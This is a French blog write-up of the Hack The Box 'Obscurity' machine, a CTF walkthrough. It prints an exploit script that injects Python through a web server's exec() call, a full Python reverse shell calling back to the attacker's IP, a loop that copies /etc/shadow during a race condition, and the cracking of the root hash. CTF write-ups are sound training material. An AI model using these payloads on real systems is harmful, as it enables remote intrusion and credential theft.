Conseils, services, ingénierie en informatique. Mise en place de solutions technologiques, et support, pour les entreprises.

Note utilisateur: 5 / 5

Etoiles activesEtoiles activesEtoiles activesEtoiles activesEtoiles actives
 

Write up hack the box [HTB] obscurity

 

Un des sites de challenges préférés de l'équipe CTF LGHM

pwne les tous

  

La capture du drapeau ou « capturez le drapeau » (souvent abrégé en CTF pour Capture the Flag), est un mode de jeu par équipe . Ce type de jeu a été adapté dans divers domaines ainsi qu'en cybersécuritévoir https://fr.wikipedia.org/wiki/Capture_du_drapeau certains pour passer le temps font des mots croisés, d'autres du sudoku, nous c'est du CTF :-)

Comment devenir pentesteur? Résoudre les énigmes CTF, et c'est facile avec le pwnator LGHM by Ponemon technologiesqui est un framework qui résume les principales étapes du pentest. Ideal pour récolter un max de points lors des épreuves CTF dans les conférentces infosec . Mais avant, il faut s'entrainer: Pour commencer, voici comment obtenir un code de parrainage hack the box

 

Bienvenue dans le writeup d'Obscruity! Il s'agit d'une machine virtuelle Linux de difficulté moyenne et les joueurs doivent trouver une faille dans le serveur Web basé sur python pour obtenir l'accès initial. Une fois que nous aurons obtenu un accès initial avec un reverse shell, ou shell inversé, nous devrons alors analyser un autre script python qui chiffre le mot de passe. Ensuite, nous pouvons effectuer l' attaque pentest classique KPA pour récupérer le mot de passe du deuxième utilisateur. Enfin, pour l'accès root, nous pouvons abuser de la condition de concurrence sur le script BetterSSH.py existant pour lire le fichier / etc / shadow et casser le mot de passe de l'utilisateur "root". Boîte assez amusante . C'est parti!

 

Write up hack the box [HTB] Obscurity: Nessus

 

Je lance un scan Tenable Nessus io qui ne donne rien. Je lance alors un NMAP.

 

Write up hack the box [HTB] Obscurity: Nmap

$ nmap -Pn — open -sC -sV -p- -T4 10.10.10.168

Une question? Posez-la ici

Vous voulez aussi participer au concours de writeups et gagner un smartphone? Contactez la Red Team LGHM

Write up hack the box [HTB] Obscurity:  le port 8080 donne quelquechose d'interessant

 

 HTTP (8080 / TCP) - Seul port intéressant ouvert sur la box. Il est clair que ce sera un certain type de défi lié au Web pour obtenir un accès initial. Lorsque nous visiterons l'url (http://10.10.10.168:8080), nous verrons ce qui suit:

 

La sécurité par l'obscurité. Ici à Obscura, nous avons une philosophie spéciale de la sécurité: les hackers ne peuvent pas nous attaquer s'ils ne savent pas quels logiciels nous utilisons. C'est le leitmotiv: la sécurité par l'obscurité. Nous écrivons tous nos logiciels à partir de 0, nous écrivons même le serveur web sur lequel le site web fonctionne. Ce qui veut dire qu'il n'existe pas déja d'exploits que les scripts kiddies peuvent exploiter, et nous sommes donc complètement sécurisés.

Mais un contenu intéressant est le suivant. Il indique que nous pouvons voir le code source actuel du serveur Web ("SuperSecureServer.py") dans un répertoire secret... Et bien nous allons trouver ce répertoire secret! 

 

 

Write up hack the box [HTB] Obscurity:  Directory Fuzzing  

 

Sachant cela, commençons l'exploration du répertoire Web afin de trouver où se trouve le "SuperSecureServer.py". J'ai utilisé le Web Fuzzer appelé ffuf. (Il est écrit en Go et super rapide. Nous pouvons également personnaliser facilement les points de fuzzing comme Burp ou Owasp ZAP.)

 

Nous trouvons un répertoire /develop/ avec à l'intérieur un script python SuperSecureServer.py

 

 Lorsque nous accédons au fichier /develop/SuperSecureServer.py, nous pouvons voir le code source du serveur Web.

Write up hack the box [HTB] Obscurity: Analyse du code source

 

Lorsque nous faisons une analyse statique rapide sur le code python, nous pouvons repérer une fonction «exec ()» suspecte à l'emplacement suivant.

Avec cet «exec ()», nous pouvons faire un syscall python pour exécuter des commandes système:

 

### Example Usage of exec()
# python
Python 2.7.18 (default, Apr 2 2020, 12:28:13)
[GCC 9.3.0] on linux2
>>> import os
>>> exec(os.system("whoami"))
root

 

Write up hack the box [HTB] Obscurity: RCE

 

Exécution de code à distance («RCE») sur le serveur Web (RCE veut dire remote code execution)
Afin de comprendre la bonne syntaxe pour exécuter le code python, nous pouvons créer une version simplifiée du code vulnérable ci-dessus pour tester:

[exploit.py] - Local RCE Attempt
import os
import urllib.parse
path = """'; os.system("whoami");'"""
path = urllib.parse.unquote(path)
info = "output = 'Document: {}'"
exec(info.format(path))

Une question? Posez-la ici

Vous voulez aussi participer au concours de writeups et gagner un smartphone? Contactez la Red Team LGHM

Lorsque nous exécutons exploit.py sur notre boîte locale, nous obtenons la sortie suivante: root !

W00T! Quoi Woot? W00T! Oui! Comme dirait Ninjarchiviste avec son Slang et ses exfiltrations de fichiers excel !  Mettons à jour notre script et voyons si nous pouvons faire un RCE sur la VM.

[exploit.py] - Remote "Ping" Command Attempt
import os
import urllib.parse
import requests
url = 'http://10.10.10.168:8080/'
path = """'; os.system("ping -c 1 10.10.14.39");'"""
# URL Encode Mode
path = urllib.parse.unquote(path)
#info = "output = 'Document: {}'"
#exec(info.format(path))
r = requests.get(url + path)
print(r.status_code)
print(r.headers)
print(r.text)

Lorsque nous exécutons l'exploit.py, nous pouvons confirmer un RCE réussi sur la VM. Reverse shell = RCE remote command execution, shell inversé. En passant, si vous voulez un reverse shell PHP pour pentester Wordpress, en voici un sympa qui fonctionne bien, validé par LGHM 

En utilisant le reverse shell de chez PentestMonkey qui nous propose un cheat sheet de reverses shells dans tous les langages, nous pouvons mettre à jour l'exploit.py.

 

[exploit.py] - Python Reverse Shell
import os
import urllib.parse
import requests
url = 'http://10.10.10.168:8080/'
path = """'; import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.39",8055));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
# URL Encode Mode
path = urllib.parse.unquote(path)
#info = "output = 'Document: {}'"
#exec(info.format(path))
r = requests.get(url + path)
print(r.status_code)
print(r.headers)
print(r.text)

 

Lorsque nous exécutons exploit.py, nous obtiendrons avec succès le shell inverse en tant qu'utilisateur «www-data».

Accès utilisateur # 2 (robert)
Afin de passer à un autre utilisateur («robert»), nous devons résoudre un autre défi de script python. Nous pouvons voir quelques fichiers intéressants dans le répertoire personnel de "robert".

Write up hack the box [HTB] Obscurity: SuperSecureCrypt.py

SuperSecureCrypt.py: il s'agit d'un script à utiliser pour chiffrer/ déchiffrer des fichiers.

 

check.txt: c'est un fichier texte ASCII. Et ce dossier dit que:

check.txt + clé ---- [Crypter] ----> out.txt

out.txt: il s'agit d'un texte Unicode UTF-8. Il s'agit du fichier de sortie du fichier check.txt chiffré.

 

Write up hack the box [HTB] Obscurity: passwordreminder.txt

 

passwordreminder.txt: il s'agit également d'un texte Unicode UTF-8. En supposant qu'il s'agit d'un type de fichier de mot de passe et que nous ayons besoin d'une clé valide pour le déchiffrer.

Attaque connue en texte brut («KPA»)
Ainsi, entre le fichier check.txt et le fichier out.txt, nous connaissons à la fois le texte en clair et le fichier crypté, mais la clé. Cependant, puisque nous avons le texte en clair du fichier crypté + le code source, nous pouvons faire un KPA pour récupérer la clé.
Le script de cryptage / décryptage python nous est déjà donné, et nous pouvons voir sa page d'aide:

 

Une question? Posez-la ici

Vous voulez aussi participer au concours de writeups et gagner un smartphone? Contactez la Red Team LGHM


C'est assez explicite. Pour essayer d'obtenir une clé...

Lorsque nous capturons le fichier key.txt, nous pouvons voir la clé = alexandrovich. (Semblait comme répété pour chaque personnage)

 

$ cat /dev/shm/key.txt
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

 

Avec cette clé, nous pouvons maintenant déchiffrer le fichier passwordreminder.txt pour obtenir un mot de passe en clair pour l'utilisateur "robert".

 

 $ python3 SuperSecureCrypt.py -i passwordreminder.txt -o /dev/shm/robert_pw.txt -k 'alexandrovich' -d

 

Write up hack the box [HTB] Obscurity: user.txt


Avec ce mot de passe, nous pouvons maintenant nous connecter en tant qu'utilisateur «robert» et lire le fichier user.txt. (Nous pouvons également utiliser le SSH avec les informations d'identification de l'utilisateur "robert".)

 

Write up hack the box [HTB] Obscurity: accès root!

 

 La première chose que nous pourrions vouloir vérifier est si l'utilisateur "robert" peut effectuer des actions sudo. Et, on constate que l'utilisateur peut faire sudo pour exécuter le script BetterSSH.py. On dirait que ça va être un autre défi python. (C'est comme pythonPythonPYTHON: P)

 

Le script python permet de détecter rapidement le fichier / etc / shadow pour vérifier le mot de passe de l'utilisateur entré. Mais il écrit en fait ce fichier / etc / shadow dans / tmp / SSH / <Some Random Gibberish> → sleep for 0.1 section → puis il le supprime. Ce que nous pouvons faire une condition de concurrence pour copier le fichier avant qu'il ne soit supprimé.

 

Pour exploiter cela, nous pouvons créer une boucle infinie simple de tout copier de / tmp / SSH vers un autre endroit où l'utilisateur "robert" peut accéder et lire. Pendant l'exécution, nous exécuterons la commande sudo / usr / bin / python3 /home/robert/BetterSSH/BetterSSH.py pour écrire le fichier / etc / shadow dans le répertoire / tmp.

 

$ cat /tmp/copy.sh
#!/bin/bash
mkdir = '/tmp/SSH'
while true
do
cp /tmp/SSH/* /dev/shm/
done

 Une fois authentifié, nous pouvons vérifier le / dev / shm et voir le fichier / etc / shadow copié avec le hachage de mot de passe «root».

 

Alimentons l'outil John the ripper pour trouver le hash avec la fameuse liste de mots rockyou.txt. Cela va casser le mot de passe utilisateur "root" et on trouve le mot de passe: "mercedes".

 

Avec ce mot de passe, nous pouvons su-root pour augmenter notre privilège à l'utilisateur "root" et lire le fichier root.txt.

 

Write up hack the box [HTB] Obscurity: sudo!

 


En tirant toujours parti du script BetterSSH.py, nous pouvons effectuer une autre élévation de privilèges. Une fois authentifié, il démarre un moment True: boucle pour ouvrir un autre shell cmd.

Cela peut être abusé car Linux a tendance à prendre sa préférence sur les derniers arguments fournis. Par exemple:

_____Hidden_____|_______Display________
(sudo -u robert) $ id # Takes robert
(sudo -u robert) $ -u root id # Takes root
(sudo -u robert) $ -u root -u robert id # Takes robert

 

Ainsi, nous pouvons aussi simplement lire le fichier root.txt.

Write up hack the box [HTB] Obscurity: Conclusion

C'était une boîte vraiment agréable qui faisait beaucoup de révision de code et exploitait des fonctions vulnérables dans le code. C'était assez lourd en python, mais n’aimons-nous pas tous tout faire avec du python? :) Honnêtement, ce fut une experience vraiment amusante de faire cette CM Obscruity.

 

Un coucou aux copains qui ont aussi participé au Cybersecurity challenge: Aether, Aswane, blueshit, Corentin, loulous24, Neit, redoste, S01den, shd33, Slowerzs, SoEasY, voydstack, Worty, xbquoYir, Zarked, Tek_, SushiMaki, OxUKN, BZHugs, CanardMandarin, ,Enoent, face0xff, Forgi, hexabeast, JoanSivion, Major_Tom, MathisHammel, Nics, Nofix, yaumn, Bdenneu, plean, Quanthor_ic


J'espère que vous avez apprécié cet article et merci d'avoir lu!

Cet article reflète exclusivement l'opinion de ses auteurs et n’engage en aucune façon Consultingit. J'espère que ça vous a plu. Vos commentaires/remarques sont les bienvenus: